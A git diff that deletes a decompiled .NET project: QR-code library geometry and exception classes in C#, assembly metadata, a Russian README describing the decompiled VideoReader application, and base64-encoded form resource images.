a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/FinderPatternNotFoundException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/FinderPatternNotFoundException.cs deleted file mode 100644 index 1856a43..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/FinderPatternNotFoundException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class FinderPatternNotFoundException : Exception -{ - internal string message = null; - - public override string Message => message; - - public FinderPatternNotFoundException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidDataBlockException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidDataBlockException.cs deleted file mode 100644 index aa904dd..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidDataBlockException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class InvalidDataBlockException : ArgumentException -{ - internal string message = null; - - public override string Message => message; - - public InvalidDataBlockException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionException.cs deleted file mode 100644 index d000322..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class InvalidVersionException : VersionInformationException -{ - internal string message; - - public override string Message => message; - - public InvalidVersionException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionInfoException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionInfoException.cs deleted file mode 100644 index 99186a0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/InvalidVersionInfoException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class InvalidVersionInfoException : VersionInformationException -{ - internal string message = null; - - public override string Message => message; - - public InvalidVersionInfoException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/SymbolNotFoundException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/SymbolNotFoundException.cs deleted file mode 100644 index f69ca9b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/SymbolNotFoundException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class SymbolNotFoundException : ArgumentException -{ - internal string message = null; - - public override string Message => message; - - public SymbolNotFoundException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/VersionInformationException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/VersionInformationException.cs deleted file mode 100644 index e3d7e42..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/VersionInformationException.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class VersionInformationException : ArgumentException -{ -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Axis.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Axis.cs deleted file mode 100644 index 9ca7c08..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Axis.cs +++ /dev/null @@ -1,77 +0,0 @@ -using MessagingToolkit.QRCode.Codec.Reader; - -namespace MessagingToolkit.QRCode.Geom; - -public class Axis -{ - internal int sin; - - internal int cos; - - internal int modulePitch; - - internal Point origin; - - public virtual Point Origin - { - set - { - origin = value; - } - } - - public virtual int ModulePitch - { - set - { - modulePitch = value; - } - } - - public Axis(int[] angle, int modulePitch) - { - sin = angle[0]; - cos = angle[1]; - this.modulePitch = modulePitch; - origin = new Point(); - } - - public virtual Point translate(Point offset) - { - int x = offset.X; - int y = offset.Y; - return translate(x, y); - } - - public virtual Point translate(Point origin, Point offset) - { - Origin = origin; - int x = offset.X; - int y = offset.Y; - return translate(x, y); - } - - public virtual Point translate(Point origin, int moveX, int moveY) - { - Origin = origin; - return translate(moveX, moveY); - } - - public virtual Point translate(Point origin, int modulePitch, int moveX, int moveY) - { - Origin = origin; - this.modulePitch = modulePitch; - return translate(moveX, moveY); - } - - public virtual Point translate(int moveX, int moveY) - { - long num = QRCodeImageReader.DECIMAL_POINT; - Point point = new Point(); - int num2 = ((moveX != 0) ? (modulePitch * moveX >> (int)num) : 0); - int num3 = ((moveY != 0) ? (modulePitch * moveY >> (int)num) : 0); - point.translate(num2 * cos - num3 * sin >> (int)num, num2 * sin + num3 * cos >> (int)num); - point.translate(origin.X, origin.Y); - return point; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Line.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Line.cs deleted file mode 100644 index e37cfdf..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Line.cs +++ /dev/null @@ -1,173 +0,0 @@ -using System; -using MessagingToolkit.QRCode.Codec.Util; - -namespace MessagingToolkit.QRCode.Geom; - -public class Line -{ - internal int x1; - - internal int y1; - - internal int x2; - - internal int y2; - - public virtual bool Horizontal - { - get - { - if (y1 == y2) - { - return true; - } - return false; - } - } - - public virtual bool Vertical - { - get - { - if (x1 == x2) - { - return true; - } - return false; - } - } - - public virtual Point Center - { - get - { - int x = (x1 + x2) / 2; - int y = (y1 + y2) / 2; - return new Point(x, y); - } - } - - public virtual int Length - { - get - { - int num = Math.Abs(x2 - x1); - int num2 = Math.Abs(y2 - y1); - return QRCodeUtility.sqrt(num * num + num2 * num2); - } - } - - public Line() - { - x1 = (y1 = (x2 = (y2 = 0))); - } - - public Line(int x1, int y1, int x2, int y2) - { - this.x1 = x1; - this.y1 = y1; - this.x2 = x2; - this.y2 = y2; - } - - public Line(Point p1, Point p2) - { - x1 = p1.X; - y1 = p1.Y; - x2 = p2.X; - y2 = p2.Y; - } - - public virtual Point getP1() - { - return new Point(x1, y1); - } - - public virtual Point getP2() - { - return new Point(x2, y2); - } - - public virtual void setLine(int x1, int y1, int x2, int y2) - { - this.x1 = x1; - this.y1 = y1; - this.x2 = x2; - this.y2 = y2; - } - - public virtual void setP1(Point p1) - { - x1 = p1.X; - y1 = p1.Y; - } - - public virtual void setP1(int x1, int y1) - { - this.x1 = x1; - this.y1 = y1; - } - - public virtual void setP2(Point p2) - { - x2 = p2.X; - y2 = p2.Y; - } - - public virtual void setP2(int x2, int y2) - { - this.x2 = x2; - this.y2 = y2; - } - - public virtual void translate(int dx, int dy) - { - x1 += dx; - y1 += dy; - x2 += dx; - y2 += dy; - } - - public static bool isNeighbor(Line line1, Line line2) - { - if (Math.Abs(line1.getP1().X - line2.getP1().X) < 2 && Math.Abs(line1.getP1().Y - line2.getP1().Y) < 2 && Math.Abs(line1.getP2().X - line2.getP2().X) < 2 && Math.Abs(line1.getP2().Y - line2.getP2().Y) < 2) - { - return true; - } - return false; - } - - public static bool isCross(Line line1, Line line2) - { - if (line1.Horizontal && line2.Vertical) - { - if (line1.getP1().Y > line2.getP1().Y && line1.getP1().Y < line2.getP2().Y && line2.getP1().X > line1.getP1().X && line2.getP1().X < line1.getP2().X) - { - return true; - } - } - else if (line1.Vertical && line2.Horizontal && line1.getP1().X > line2.getP1().X && line1.getP1().X < line2.getP2().X && line2.getP1().Y > line1.getP1().Y && line2.getP1().Y < line1.getP2().Y) - { - return true; - } - return false; - } - - public static Line getLongest(Line[] lines) - { - Line line = new Line(); - for (int i = 0; i < lines.Length; i++) - { - if (lines[i].Length > line.Length) - { - line = lines[i]; - } - } - return line; - } - - public override string ToString() - { - return "(" + Convert.ToString(x1) + "," + Convert.ToString(y1) + ")-(" + Convert.ToString(x2) + "," + Convert.ToString(y2) + ")"; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Point.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Point.cs deleted file mode 100644 index b802ff4..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/Point.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using MessagingToolkit.QRCode.Codec.Util; - -namespace MessagingToolkit.QRCode.Geom; - -public class Point -{ - public const int RIGHT = 1; - - public const int BOTTOM = 2; - - public const int LEFT = 4; - - public const int TOP = 8; - - internal int x; - - internal int y; - - public virtual int X - { - get - { - return x; - } - set - { - x = value; - } - } - - public virtual int Y - { - get - { - return y; - } - set - { - y = value; - } - } - - public Point() - { - x = 0; - y = 0; - } - - public Point(int x, int y) - { - this.x = x; - this.y = y; - } - - public virtual void translate(int dx, int dy) - { - x += dx; - y += dy; - } - - public virtual void set_Renamed(int x, int y) - { - this.x = x; - this.y = y; - } - - public override string ToString() - { - return "(" + Convert.ToString(x) + "," + Convert.ToString(y) + ")"; - } - - public static Point getCenter(Point p1, Point p2) - { - return new Point((p1.X + p2.X) / 2, (p1.Y + p2.Y) / 2); - } - - public bool equals(Point compare) - { - if (x == compare.x && y == compare.y) - { - return true; - } - return false; - } - - public virtual int distanceOf(Point other) - { - int num = other.X; - int num2 = other.Y; - return QRCodeUtility.sqrt((x - num) * (x - num) + (y - num2) * (y - num2)); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/SamplingGrid.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/SamplingGrid.cs deleted file mode 100644 index ea3a149..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Geom/SamplingGrid.cs +++ /dev/null @@ -1,195 +0,0 @@ -namespace MessagingToolkit.QRCode.Geom; - -public class SamplingGrid -{ - private class AreaGrid - { - private SamplingGrid enclosingInstance; - - private Line[] xLine; - - private Line[] yLine; - - public virtual int Width => xLine.Length; - - public virtual int Height => yLine.Length; - - public virtual Line[] XLines => xLine; - - public virtual Line[] YLines => yLine; - - public SamplingGrid Enclosing_Instance => enclosingInstance; - - private void InitBlock(SamplingGrid enclosingInstance) - { - this.enclosingInstance = enclosingInstance; - } - - public AreaGrid(SamplingGrid enclosingInstance, int width, int height) - { - InitBlock(enclosingInstance); - xLine = new Line[width]; - yLine = new Line[height]; - } - - public virtual Line getXLine(int x) - { - return xLine[x]; - } - - public virtual Line getYLine(int y) - { - return yLine[y]; - } - - public virtual void setXLine(int x, Line line) - { - xLine[x] = line; - } - - public virtual void setYLine(int y, Line line) - { - yLine[y] = line; - } - } - - private AreaGrid[][] grid; - - public virtual int TotalWidth - { - get - { - int num = 0; - for (int i = 0; i < grid.Length; i++) - { - num += grid[i][0].Width; - if (i > 0) - { - num--; - } - } - return num; - } - } - - public virtual int TotalHeight - { - get - { - int num = 0; - for (int i = 0; i < grid[0].Length; i++) - { - num += grid[0][i].Height; - if (i > 0) - { - num--; - } - } - return num; - } - } - - public SamplingGrid(int sqrtNumArea) - { - grid = new AreaGrid[sqrtNumArea][]; - for (int i = 0; i < sqrtNumArea; i++) - { - grid[i] = new AreaGrid[sqrtNumArea]; - } - } - - public virtual void initGrid(int ax, int ay, int width, int height) - { - grid[ax][ay] = new AreaGrid(this, width, height); - } - - public virtual void setXLine(int ax, int ay, int x, Line line) - { - grid[ax][ay].setXLine(x, line); - } - - public virtual void setYLine(int ax, int ay, int y, Line line) - { - grid[ax][ay].setYLine(y, line); - } - - public virtual Line getXLine(int ax, int ay, int x) - { - return grid[ax][ay].getXLine(x); - } - - public virtual Line getYLine(int ax, int ay, int y) - { - return grid[ax][ay].getYLine(y); - } - - public virtual Line[] getXLines(int ax, int ay) - { - return grid[ax][ay].XLines; - } - - public virtual Line[] getYLines(int ax, int ay) - { - return grid[ax][ay].YLines; - } - - public virtual int getWidth() - { - return grid[0].Length; - } - - public virtual int getHeight() - { - return grid.Length; - } - - public virtual int getWidth(int ax, int ay) - { - return grid[ax][ay].Width; - } - - public virtual int getHeight(int ax, int ay) - { - return grid[ax][ay].Height; - } - - public virtual int getX(int ax, int x) - { - int num = x; - for (int i = 0; i < ax; i++) - { - num += grid[i][0].Width - 1; - } - return num; - } - - public virtual int getY(int ay, int y) - { - int num = y; - for (int i = 0; i < ay; i++) - { - num += grid[0][i].Height - 1; - } - return num; - } - - public virtual void adjust(Point adjust) - { - int x = adjust.X; - int y = adjust.Y; - for (int i = 0; i < grid[0].Length; i++) - { - for (int j = 0; j < grid.Length; j++) - { - for (int k = 0; k < grid[j][i].XLines.Length; k++) - { - grid[j][i].XLines[k].translate(x, y); - } - for (int l = 0; l < grid[j][i].YLines.Length; l++) - { - grid[j][i].YLines[l].translate(x, y); - } - } - } - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Properties/Resources.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Properties/Resources.cs deleted file mode 100644 index fa202a6..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Properties/Resources.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MessagingToolkit.QRCode.Properties; - -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] -[DebuggerNonUserCode] -[CompilerGenerated] -internal class Resources -{ - private static ResourceManager resourceMan; - - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals(resourceMan, null)) - { - ResourceManager resourceManager = new ResourceManager("MessagingToolkit.QRCode.Properties.Resources", typeof(Resources).Assembly); - resourceMan = resourceManager; - } - return resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get - { - return resourceCulture; - } - set - { - resourceCulture = value; - } - } - - internal Resources() - { - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/Properties/AssemblyInfo.cs b/output/Libraries/MessagingToolkit.QRCode/Properties/AssemblyInfo.cs deleted file mode 100644 index e9191cb..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: AssemblyProduct("")] -[assembly: AssemblyTitle("MessagingToolkit.QRCode.NET Component")] -[assembly: AssemblyDescription("A library for QRCode encoding and decoding")] -[assembly: AssemblyCompany("TWIT88.COM")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyKeyFile("")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyVersion("1.0.3541.23206")] diff --git a/output/Libraries/MessagingToolkit.QRCode/app.ico b/output/Libraries/MessagingToolkit.QRCode/app.ico deleted file mode 100644 index 4e170aa..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/app.ico and /dev/null differ diff --git a/output/Properties/AssemblyInfo.cs b/output/Properties/AssemblyInfo.cs deleted file mode 100644 index 99def7c..0000000 --- a/output/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Runtime.Versioning; -using System.Security; -using System.Security.Permissions; - -[assembly: Guid("9ab99e02-6594-4dea-9abf-21ca96c8ba60")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyCopyright("Copyright © 2016")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("VideoView")] -[assembly: AssemblyProduct("VideoView")] -[assembly: AssemblyVersion("1.0.8917.28848")] diff --git a/output/README.md b/output/README.md deleted file mode 100644 index 2cf8dca..0000000 --- a/output/README.md +++ /dev/null @@ -1,76 +0,0 @@ -# VideoReader - Декомпилированный проект - -## Описание -Это декомпилированный проект приложения VideoReader - программы для работы с видеофайлами. - -## Структура проекта - -### Основное приложение -- **VideoReader.exe** - главное приложение (декомпилировано в /output/) -- **VideoReader.csproj** - файл проекта Visual Studio -- **app.ico** - иконка приложения - -### Исходные файлы главного приложения -- `VideoReader/Program.cs` - точка входа в приложение -- `VideoReader/Form1.cs` - главная форма приложения (3941 строка) -- `VideoReader/Decoder.cs` - декодер видео -- `VideoReader/SaveVideo.cs` - сохранение видео -- `VideoReader/SelectionRangeSlider.cs` - слайдер выбора диапазона -- `VideoReader/UCPictureBox.cs` - пользовательский PictureBox -- `VideoReader/InOutSocket.cs` - работа с сокетами -- `VideoReader/InteropHelper.cs` - вспомогательные P/Invoke функции -- `VideoReader/libfaad.cs` - обертка для библиотеки libfaad - -### Ресурсы -- `VideoReader.Form1.resx` - ресурсы формы -- `Properties/AssemblyInfo.cs` - информация о сборке -- `VideoReader/Properties/Resources.cs` - ресурсы -- `VideoReader/Properties/Settings.cs` - настройки - -### Библиотеки (декомпилированы) -- **AForge** - библиотека компьютерного зрения -- **AForge.Imaging** - обработка изображений -- **AForge.Math** - математические функции -- **BouncyCastle.Crypto** - криптографические функции -- **FFmpeg.AutoGen** - обертка для FFmpeg -- **MessagingToolkit.QRCode** - работа с QR-кодами - -### FFmpeg -Включена полная поставка FFmpeg с бинарными файлами для x64 и x86: -- `FFmpeg/bin/x64/` - 64-битные библиотеки FFmpeg -- `FFmpeg/bin/x86/` - 32-битные библиотеки FFmpeg -- `FFmpeg/include/` - заголовочные файлы - -## Технические детали -- **Платформа**: .NET Framework 4.7.2 -- **Архитектура**: x86 (32-bit) -- **Тип приложения**: Windows Forms -- **Язык**: C# с небезопасным кодом - -## Функциональность -На основе анализа кода приложение предназначено для: -1. Чтения и декодирования видеофайлов -2. Отображения видео с возможностью навигации -3. Сохранения видео -4. Работы с сетевыми соединениями -5. Обработки изображений -6. Работы с QR-кодами - -## Сборка проекта -Для сборки проекта требуется: -1. Visual Studio 2019/2022 или .NET SDK -2. Все DLL библиотеки должны находиться в папке `desktop/` -3. FFmpeg библиотеки в соответствующих папках - -## Особенности декомпиляции -- Декомпиляция выполнена с помощью ILSpy -- Сохранена оригинальная структура пространств имен -- Включены все ресурсы и метаданные -- Проект готов к компиляции (с учетом зависимостей) - -## Файлы журналов и данных -- `keys.log` - журнал ключей -- `help.html` - файл справки -- `model`, `models` - файлы моделей - -Дата декомпиляции: 9 октября 2025 г. \ No newline at end of file diff --git a/output/VideoReader.Form1.resx b/output/VideoReader.Form1.resx deleted file mode 100644 index 55fee01..0000000 --- a/output/VideoReader.Form1.resx +++ /dev/null @@ -1,5622 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD -dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0 -ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAwQYAAAKJUE5HDQoaCgAA -AA1JSERSAAAAlwAAACkIAwAAAA+BS04AAAAEZ0FNQQAAsY8L/GEFAAAAeFBMVEX///8AU5sAUZow -YqIAT5kARpVafbEATJhIb6gASZYAQZPz9flRdawfXqEARJUvYKF8lb7Ezd8APZLY3uqwvdbc4+yL -osXm6/J1kLu2w9miss+9yd35+vyVqcnL0+M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ktQvKQCQpA702GOPZStWrMi+8pWvzHrf7373u7NFixZlu+yyS7bFFltQwx0yyBPy -hjwir8gz8o5rgGshSVL7UgAgSYn0r//6r7Ph8htuuCE777zzshNOOCE7+OCDsx122IGa5JTBNcG1 -wTXCtcI1w7XDNZQkKY0UAEhSBP3iF7/Ibrvttuzzn/989p//83/OFi5cmM2ZM4eanQgH1xDXEtcU -1xbXGNdakqTmUgAgSRX161//Olu9enX25S9/OTvllFOygw46KNt6662pgYn44FrjmuPa4x7gXuCe -SJJUTQoAJKlEGzduzG6++ebs3HPPzY488sjZwjdmTKI7cE9wb3CPcK9wzyRJKpYCAElyhCHmb3/7 -29nSpUuzxYsXZ9tssw01HdFfcM9w73APv/Od72jaQJKIFABIkxcWmt11113ZBRdckL3lLW/JXvSi -F1FTEcMF9xT3FvcY91qLCyVJAYA0Uf385z/Prrnmmuykk07K5s+fT01DjBfcc9x7lAGUBUmaohQA -SJPRgw8+mH3mM5/JjjjiiGyrrbaixiCmB8oCygTKBsqIJE1FCgCkUeuee+6ZLQzDqvHf+Z3foQYg -hAFlBGUFZQZlR5LGLAUA0uiEhvvMM8/MXv/619NGXohQUIZQlhQMSGOUAgBpFHr44YdnH7FZsGAB -bciFaArKFsoYypokjUEKAKTB6umnn84uv/zy7Pd+7/c6/SiOmBYoayhzKHsog5I0VCkAkAYlPL6F -z9KeeOKJ2Ute8hLaQAvRFiiDKIsok3q0UBqaFABIg9Djjz8+G3593eteRxtiIboGZRNlFGVVkoYg -BQBSb4UeFV7revzxx+td+2IwoKyizKLsalRA6rMUAEi9E+ZVP/e5z2kVPwGPqeHTubvvvvvsK3nv -eMc7Zt/X/+AHPzh77e1FF12ULVu2LLv66quz6667LrvppptmRnTrrbdmd955Z/ajH/1otqJ97dq1 -2X333UePIeKBMoyyrLUCUh+lAEDqjfD99w9/+MOT/l7+TjvtlL3xjW/M/uiP/ij78z//8+ziiy/O -li9fnq1cuXJ2fWK/056dg4gPyjTKNu6hJPVFCgCkzgVzO/b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AAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdo -dAAACAgCAAAAAAAAAAAAAAAPAwAAACT5AAACAAABAA0AICAQAAEABADoAgAA1gAAABAQEAABAAQA -KAEAAL4DAAAwMAAAAQAIAKgOAADmBAAAICAAAAEACACoCAAAjhMAABAQAAABAAgAaAUAADYcAAAA -AAAAAQAgAP4vAACeIQAAQEAAAAEAIAAoQgAAnFEAADAwAAABACAAqCUAAMSTAAAoKAAAAQAgAGga -AABsuQAAICAAAAEAIACoEAAA1NMAABgYAAABACAAiAkAAHzkAAAUFAAAAQAgALgGAAAE7gAAEBAA -AAEAIABoBAAAvPQAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAEAAAAAAAAAAAAAAA -AACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/ -//8AAP//iP///3d4j///iP//AAD/+Ad3d3AAAABwcAeP/wAA//cAAAAAAAAAAAAAj/8AAP/3AAAA -AAAAAAAAAH//AAD/8AAAAAAAAAAAAAB//wAAj4AAAAAAAAAAAAAAD/8AAAdwAAAAAAAAAAAAAAj/ -AAAHcAAAAAAAAAAAAAAH/wAAB3AAAAAAAAAAAAAAB3cAAHgAAAAAAAAAAAAAAAdwAACIAAAAAAAA -AAAAAAAAgAAA9wAAAAAAiHAAAAAAAHcAAPcAAAAAd3d4AAAAAAB/AADwAAAHeHAAB4cAAAAAfwAA -8Hd4h4cAAAAIhwAAAAgAAP//cAB3AAAACId4cAAIAAD//4AAAAAAAAdwAH+IeAAA///4AAAAAAAA -AAeP//8AAP///4AAAAAAAAAI////AAD////4AAAAAAAAj////wAA/////4AAAAAAB/////8AAP// -///4cAAAAH//////AAD//////4h3d4///////wAA////////h3j///////8AAP//////gAAAj/// -////AAD/////+AAAAAj//////wAA//////cAAAAH//////8AAP/////3AAAAAP//////AAD///// -9wAAAAf//////wAA//////gAAAAH//////8AAP//////cAAAf///////AAD///////cAd/////// -/wDAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAA -A8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAAD -wAAAA8AAAAPAAAADwAAAAygAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAEAAAAAAAAAAA -AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// -AAD///8AAPh4hwd4d/8P9wAAAAAAjw+AAAAAAACPB3AAAAAAAH8HcAAAAAAABw9wAABwAAAHDwAA -dwdwAAgPh3dwAHdwBw/4cAAAAHiID//3AAAAj/8P//9wAAj//w////h4j///D///gACP//8P//9w -AH///w///3AAf///D///hweP///AAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACA -AAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAKAAAADAAAABgAAAAAQAIAAAAAACACgAAAAAAAAAA -AAAAAQAAAAAAAAAAAAAFBQUACQkJAA4ODgAREREAFRUVABkZGQAdHR0AISEhACQkJAAqKioALS0t -ADExMQA1NTUAOjo6AD09PQBBQUEARUVFAElJSQBOTk4AUVFRAFVVVQBeXl4AYWFhAGVlZQBoaGgA -bm5uAHJycgB1dXUAeXl5AIGBgQCFhYUAioqKAI6OjgCRkZEAlZWVAJqamgCdnZ0AoaGhAKWlpQCp -qakArKysALKysgC0tLQAurq6AL+/vwDCwsIAxcXFAMnJyQDNzc0A0dHRANXV1QDZ2dkA3d3dAOLi -4gDl5eUA6enpAO3t7QDx8fEA9fX1APr6+gD+/v4A0f/wAP///wAAAAAAAC8OAABQGAAAcCIAAJAs -AACwNgAAz0AAAPBKABH/WwAx/3EAUf+HAHH/nQCR/7IAsf/JANH/3wD///8AAAAAAAIvAAAEUAAA -B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DVixAiTL4ivJ6CpJTE9OzA3bdrUTNMhBoI/0Pb0uz52anuafuzYsTf0vZmnv3ZkJZzj0q5P -9HR9VNJf1tXHxfpgp8Qz9ZEtGe8nJAauKzmTxx9/PNvMmTOLHD16NK+O4Y+WKFFiW+fOnQ83b97c -TJkGbXo0pDDSo9L79bFJHwv0wRz/Kn1/Djn5RkkzSC0C/G2GEQQhp4QF/uDDDz/MoUXg2l27djXN -nz//tIYNG05+7rnnDuTJk0dqjn0E7r42GWK2g/r4TX+dlPvzfwO8a+Hu+euJAAAAAElFTkSuQmCC -KAAAAEAAAACAAAAAAQAgAAAAAAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wH+ -/v4s/v7+if7+/rH+/v60/v7+tP7+/rT+/v60/f39tPr6+rT+/v60/v7+tP7+/rT+/v60/v7+tP7+ -/rT+/v60/v7+tP7+/rT+/v60/v7+tP7+/rT+/v60/v7+tP7+/rT+/v607OzstIWFhbUQEBDERkZG -uLm5ubTy8vK0/v7+tP7+/rT+/v60/v7+tP7+/rT+/v60/v7+tP7+/rT+/v60/v7+tP7+/rT+/v60 -/v7+tP7+/rT+/v60/f39tPz8/LT+/v60/v7+tP7+/rT+/v60/v7+tP7+/rH///+I/v7+K////wEA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/v4u/v7+0P7+/v7//////////////////////////93d -3f91dXX/t7e3/+np6f/8/Pz///////////////////////////////////////////////////// -//z8/P/n5+f/qqqq/0tLS/8MDAz/AAAA/wICAv8YGBj/TU1N/4+Pj//Dw8P/4uLi//Ly8v/6+vr/ -/f39//7+/v///////v7+//39/f/6+vr/8vLy/+Xl5f/Ozs7/q6ur/3t7e/+ioqL//v7+//////// -/////////////////////v7+/v7+/s7+/v4sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+j/7+ -/v7///////////////////////////////+xsbH/CAgI/wwMDP8yMjL/bGxs/6Wlpf/MzMz/4uLi -/+3t7f/y8vL/8vLy/+/v7//k5OT/0NDQ/6qqqv9ubm7/MDAw/wkJCf8AAAD/AAAA/wAAAP8AAAD/ -AAAA/wAAAP8CAgL/Dg4O/yUlJf8+Pj7/VFRU/2ZmZv9ycnL/c3Nz/3Fxcf9kZGT/U1NT/z09Pf8n -Jyf/FBQU/wYGBv8AAAD/SkpK//b29v/////////////////////////////////+/v7+/v7+jQAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/rn////////////////////////////////+/v7/gICA -/wEBAf8AAAD/AAAA/wAAAP8FBQX/EhIS/yQkJP8zMzP/Ozs7/zs7O/82Njb/JiYm/xUVFf8GBgb/ 